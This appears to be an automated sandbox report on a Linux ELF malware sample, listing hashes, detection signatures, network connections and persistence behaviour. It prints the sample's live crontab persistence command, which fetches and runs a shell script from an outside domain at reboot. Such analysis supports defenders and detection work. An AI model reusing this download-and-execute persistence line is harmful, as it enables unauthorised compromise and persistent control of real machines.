Linux Analysis Report
nsharm5.elf

Overview

General Information

Sample name: nsharm5.elf
Analysis ID: 1542854
MD5: ec377a1b6a816a87c4874e7b04e53ab4
SHA1: e8e06aaacde689c4a8703aa7ff62d7442d541aca
SHA256: f8c9ae564656a7a30d4dcb95719e593e081a82a472a220e95c99096f35398795
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: nsharm5.elf ReversingLabs: Detection: 21%
Source: tmp.ueTw0E.18.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking

barindex
Source: global traffic TCP traffic: 91.149.218.232 ports 22016,0,1,2,6,16557
Source: global traffic TCP traffic: 31.13.248.89 ports 0,1,2,3,6,21063
Source: global traffic TCP traffic: 192.168.2.13:53754 -> 31.13.248.89:21063
Source: global traffic TCP traffic: 192.168.2.13:50464 -> 91.149.218.232:22016
Source: global traffic TCP traffic: 192.168.2.13:36118 -> 213.182.204.57:20480
Source: /tmp/nsharm5.elf (PID: 5450) Socket: 127.0.0.1:1172 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: unknown UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.ueTw0E.18.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/1@6/0

Persistence and Installation Behavior

barindex
Source: /bin/sh (PID: 5456) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5455) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Source: /usr/bin/crontab (PID: 5455) File: /var/spool/cron/crontabs/tmp.ueTw0E Jump to behavior
Source: /usr/bin/crontab (PID: 5455) File: /var/spool/cron/crontabs/root Jump to behavior
Source: /tmp/nsharm5.elf (PID: 5452) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Source: /tmp/nsharm5.elf (PID: 5450) Queries kernel information via 'uname': Jump to behavior
Source: nsharm5.elf, 5450.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5457.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5503.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp Binary or memory string: Px86_64/usr/bin/qemu-arm/tmp/nsharm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nsharm5.elf
Source: nsharm5.elf, 5450.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5457.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5503.1.0000560b75998000.0000560b75b0e000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: nsharm5.elf, 5450.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5457.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp, nsharm5.elf, 5503.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: nsharm5.elf, 5450.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5457.1.0000560b75998000.0000560b75b0e000.rw-.sdmp, nsharm5.elf, 5503.1.0000560b75998000.0000560b75b0e000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: nsharm5.elf, 5503.1.00007ffd189cd000.00007ffd189ee000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs